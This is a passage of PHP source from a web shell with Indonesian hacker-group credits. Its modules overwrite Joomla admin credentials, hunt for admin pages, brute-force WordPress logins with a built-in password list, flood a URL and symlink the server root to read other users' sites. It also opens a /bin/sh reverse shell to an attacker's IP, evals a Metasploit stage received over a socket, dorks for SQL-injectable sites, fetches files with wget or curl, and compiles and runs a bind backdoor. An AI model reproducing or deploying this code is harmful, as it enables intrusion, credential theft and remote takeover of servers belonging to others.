<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<?php
echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
if($_GET['urldd0'] && $_GET['timedd0']){
for ($id=0;$$id<$_GET['timedd0'];$id++){
$fp=null;
$contents=null;
$fp=fopen($_GET['urldd0'],"rb");
while (!feof($fp)) {
$contents .= fread($fp, 8192);
}
fclose($fp);
}}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<center><br><br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
Uyap<br>
Zinbad<br>
Sani marpic<br>
Madan Cyber<br>
Cah Bagus<br>
RPG<br>
P4njie_a.k.a<br>
Dwi Syntia<br>
rul Ringgo's<br>
Ti'ar Variabel<br>
Imei7<br>
Hmei7<br>
De Vinclous<br>
Blankon33<br>
Doza Cracker<br>
Ying Cracker<br>
Iranian Hacker<br>
Danger Hacker<br>
Admin07<br>
Zhou you<br>
Ksatria.us<br>
Cyber Inj3cti0n<br>
K2ll33d<br>
Sultan Haikal<br>
Syntax_Error<br>
Aqis<br>
Black Shadow<br>
crack999<br>
Fnatic Crew<br>
Coretan Rizal<br>
Malaikat Maut<br>
Dan teman-teman ku semua<br><br>
=[ grup hacking ]=<br><br>
Black Newbie Team<br>
3xpire Cyber Army<br>
Hack Forum<br>
Indonesia Fighter Cyber<br>
Biang Kerox Team<br>
Anonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>
X-Code<br>
Indonesian Security<br>
Indonesia Black Cyber<br>
B-Compi<br>
Jasakom<br>
Mojopahit Fighter Cyber<br>
Lappis<br>
Mojopahit Cyber Dark<br>
Crack Hack Forum<br>
dan semua grup hacking<br>
yang<br>
saya naungi dan singgahi<br><br><br>By X'1n73ct<br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
